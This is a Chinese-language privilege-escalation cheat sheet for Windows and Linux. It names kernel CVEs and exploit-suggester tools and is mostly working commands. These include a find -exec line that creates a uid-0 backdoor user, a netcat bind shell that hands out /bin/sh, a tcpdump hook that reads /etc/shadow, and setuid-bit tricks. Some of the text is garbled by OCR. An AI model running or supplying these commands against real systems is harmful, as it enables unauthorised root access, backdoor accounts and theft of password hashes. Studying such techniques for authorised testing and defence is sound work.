# 各种提权

# **Windows**

# 常用神洞

CVE-2018-8120 MS16-032 MS15-051 MS14-058

# **Windows Exploit Suggester**

```
#更新漏洞数据库,会生成一个xls的文件,如下 2020-11-11-mssb.xls
python windows-exploit-suggester.py --update
#查看目标主机系统信息,保存为sysinfo.txt文件
systeminfo > sysinfo.txt
#然后运行如下命令,查看该系统是否存在可利用的提权漏洞
python windows-exploit-suggester.py -d 2020-11-11-mssb.xls -i sysinfo.txt
```

### Linux

# 常用神洞

DirtyCow

# 使用 linux-exploit-suggester.sh

```
$ ./linux-exploit-suggester.sh
[+] [CVE-2017-16995] eBPF_verifier
          Details: https://ricklarabee.blogspot.com/2018/07/ebpf-and-analysis-of-get-
rekt-linux.html
          Exposure: highly probable
          Tags: debian=9.0{kernel:4.9.0-3-amd64},fedora=25|26|27,[ ubuntu=14.04 ]
\{\text{kernel:} 4.4.0-89-\text{generic}\}, \text{ubuntu} = (16.04|17.04) \{\text{kernel:} 4.(8|10).0-(19|28|45)-19.04\}, \text{ubuntu} = (16.04|17.04) \{\text{kernel:} 4.(8|10).0-(19|17.04), \text{ubuntu} = (16.04|17.04), \text{ubuntu} = (16.04|17.04), \text{ubuntu} = (16.04|17.04), \text{ubuntu} = (16.04|17.04), \text{ubu
generic}
          Download URL: https://www.exploit-db.com/download/45010
          Comments: CONFIG_BPF_SYSCALL needs to be set &&
kernel.unprivileged_bpf_disabled != 1
[+] [CVE-2017-1000112] NETIF_F_UFO
          Details: http://www.openwall.com/lists/oss-security/2017/08/13/1
          Exposure: probable
          Tags: [ ubuntu=14.04{kernel:4.4.0-*} ],ubuntu=16.04{kernel:4.8.0-*}
          Download URL: https://raw.githubusercontent.com/xairy/kernel-
exploits/master/CVE-2017-1000112/poc.c
           ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/cve-2017-
1000112/CVE-2017-1000112/poc.c
```

```
Comments: CAP_NET_ADMIN cap or CONFIG_USER_NS=y needed. SMEP/KASLR bypass included. Modified version at 'ext-url' adds support for additional distros/kernels

[+] [CVE-2016-8655] chocobo_root

Details: http://www.openwall.com/lists/oss-security/2016/12/06/1
Exposure: probable
Tags: [ ubuntu=(14.04|16.04){kernel:4.4.0-
(21|22|24|28|31|34|36|38|42|43|45|47|51)-generic} ]
Download URL: https://www.exploit-db.com/download/40871
Comments: CAP_NET_RAW capability is needed OR CONFIG_USER_NS=y needs to be enabled
```

# suid 提权

已知的可用来提权的linux可行性的文件列表如下:

```
nmap
vim
find
bash
more
less
nano
ср
chmod
ash/linux shell
awk
mv
man
python
perl
tcpdump
```

#### 查找所有s权限的文件

```
find / -perm -u=s -type f 2>/dev/null

/表示从文件系统的项部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)
>表示重定向
/ dev / null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。
```

```
(root∎ Mali)-[~]
 # find / -perm -u=s -type f 2>/dev/null
/usr/sbin/mount.cifs
/usr/sbin/pppd
/usr/sbin/mount.nfs
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/mysql/plugin/auth_pam_tool_dir/auth_pam_tool
/usr/lib/xorg/Xorg.wrap
/usr/bin/kismet_cap_linux_wifi
/usr/bin/find
/usr/bin/sudo
/usr/bin/gpasswd
/usr/bin/chfn
/usr/bin/kismet_cap_nrf_52840
/usr/bin/chsh
/usr/bin/su
/usr/bin/kismet_cap_nxp_kw41z
/usr/bin/mount
/usr/bin/kismet_cap_ubertooth_one
/usr/bin/fusermount3
/usr/bin/ntfs-3g
```

#### 以 find 提权为例

find ./ -type f -exec id \;

Linux密码生成规则 https://blog.csdn.net/jiajiren11/article/details/80376371

```
# 生成用户密码,密码值为ezpasswd内容,abcdefg为salt值 openssl passwd -1 -salt 'abcdefg' 'ezpasswd' # 得到值 $1$abcdefg$Sh/N2Oieg5Wrh7qT2oIZ3/ # 添加用户 -o 表示可以重复id find /etc/passwd -type f -exec useradd -u 0 -g 0 -p \$1\$abcdefg\$Sh/N2Oieg5Wrh7qT2oIZ3/ -o test999 \;
```

#### Vim

Vim是Linux环境下的一款文件编辑器。但是,如果以SUID运行的话,它会继承root用户的权限,因此可以读取系统上的所有文件。

```
vim.tiny
# Press ESC key
:set shell=/bin/sh
:shell
```

#### **Netcat**

大部分Linux操作系统都安装了netcat,因此也可以被利用来将权限提升至root。

```
find pentestlab -exec netcat -lvp 5555 -e /bin/sh \;连接上去就会直接获取到一个Root权限的shell。
netcat 192.168.1.189 5555
id
cat /etc/shadow
```

#### **Bash**

```
bash -p
bash-3.2# id
uid=1002(service) gid=1002(service) euid=0(root) groups=1002(service)
```

#### More

```
more /home/pelle/myfile
!/bin/bash
```

#### less

首先使用 sudo -1 查看都有什么权限, 如果是下图权限, 则直接进行所有操作

```
(kali@kali)-[~/Desktop]
$ sudo -1
匹配 %2$s 上 %1$s 的默认条目:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/bin
用户 kali 可以在 kali 上运行以下命令:
(ALL: ALL) ALL
```

如果仅有部分权限,会在下面进行显示,这是就可以利用可以执行的命令进行提权,如有less的执行权限,那么使用less 文件名,输入!/bin/sh 即可获得root权限的shell。

```
less /etc/passwd
!/bin/sh
```

```
# This file MUST be edited with the 'visudo' command as root.

# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
# See the man page for details on how to write a sudoers file.
# Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
# Host alias specification
# User alias specification
# User privilege specification
# User privilege specification
# Allow members of group sudo to execute any command
% sudo ALL=(ALL:ALL) ALL
# Allow members of group sudo to execute any command
% sudo ALL=(ALL:ALL) NOPASSWD:/usr/bin/less
# See sudoers(5) for more information on "@include" directives:
@includedir /etc/sudoers.d

"/etc/sudoers" 27L, 688B
```

```
(kali⊗ kali)-[/etc/sudoers.d]
$ sudo -|

匹配 %2$s 上 %1$s 的默认条目:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/bin

用户 kali 可以在 kali 上运行以下命令:
    (ALL: ALL) NOPASSWD: /usr/bin/less

(kali⊗ kali)-[/etc/sudoers.d]
$ sudo less
Missing filename ("less —help" for help)

(kali⊗ kali)-[/etc/sudoers.d]
$ sudo more
对不起,用户 kali 无权以 root 的身份在 kali 上执行 /usr/bin/more。

(kali⊗ kali)-[/etc/sudoers.d]
$ sudo less /etc/passwd
    (**voot® kali**)-[/etc/sudoers.d]

i id

用户id=0(root) 组id=0(root) 组=0(root),141(kaboxer)
    (**voot® kali**)-[/etc/sudoers.d]
```

### cp(暂未验证)

```
sudo sh -c 'cp $(which cp) .; chmod +s ./cp'
```

### chmod(暂未验证)

```
sudo sh -c 'cp $(which chmod) .; chmod +s ./chmod'
```

#### ash/linux shell

```
sudo ash
```

#### awk

```
awk 'BEGIN {system("/bin/bash")}'
```

### mv(暂时未有实例)

```
使用mv 覆盖 /etc/shadow 或者/etc/sudoers
```

#### man

```
man passwd
!/bin/bash
```

### python

```
import os
os.system("/bin/bash")
```

### perl

```
exec "/bin/bash";
```

ruby/lua/etc也有相似

## tcpdump

```
echo $'id\ncat /etc/shadow' > /tmp/.test
chmod +x /tmp/.test
sudo tcpdump -ln -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/.test -Z root
```

可以参考 https://www.cnblogs.com/zaqzzz/p/12075132.html

# 常用手法

### **MSF**

使用 post/windows/gather/enum\_patches 模块,并配置相应的session后自动获取可使用的提权漏洞

```
msf5 exploit
msf5 post(wd
                                                                      c) > use post/windows/gather/enum_patches
                                       s) > show options
Module options (post/windows/gather/enum_patches):
   Name
            Current Setting Required Description
   SESSION
                                         The session to run this module on.
                           enum_patches) > set session 1
msf5 post(
                     rther/enum_pacemen,
msf5 post(
 *] Patch list saved to /home/kali/.msf4/loot/20201111043241_default_192.168.13.131_enum_patches_671597.txt
    KB2534111 applied
    KB2999226 applied
    KB976902 applied
Post module execution completed
```

MSF下还提供了 post/multi/recon/local\_exploit\_suggester 模块,该模块用于快速识别系统中可能被利用的漏洞